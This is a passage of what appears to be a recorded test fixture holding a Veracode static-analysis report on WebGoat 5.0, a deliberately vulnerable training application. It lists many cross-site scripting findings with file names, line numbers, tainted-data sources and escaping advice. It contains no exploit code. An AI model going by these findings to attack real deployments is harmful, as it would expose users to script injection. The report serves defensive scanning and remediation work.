+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"180\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"101\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getRestartLink().
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"194\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"90\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printParameters.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"212\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"73\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"16\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printCookies.
+        The tainted data originated from an earlier call to javax.servlet.http.httpservletrequest.getcookies.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"223\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"79\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"269\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getMessage().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.http.httpservletrequest.getcookies, and javax.servlet.http.httpservletrequest.getheader.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"231\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"84\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"103\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"187\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"193\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"121\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable result.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SilentTransactions.java\"
+        line=\"94\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SilentTransactions\"
+        functionprototype=\"void handleRequest(session.WebSession)\" functionrelativelocation=\"52\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"23\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"35\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"256\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
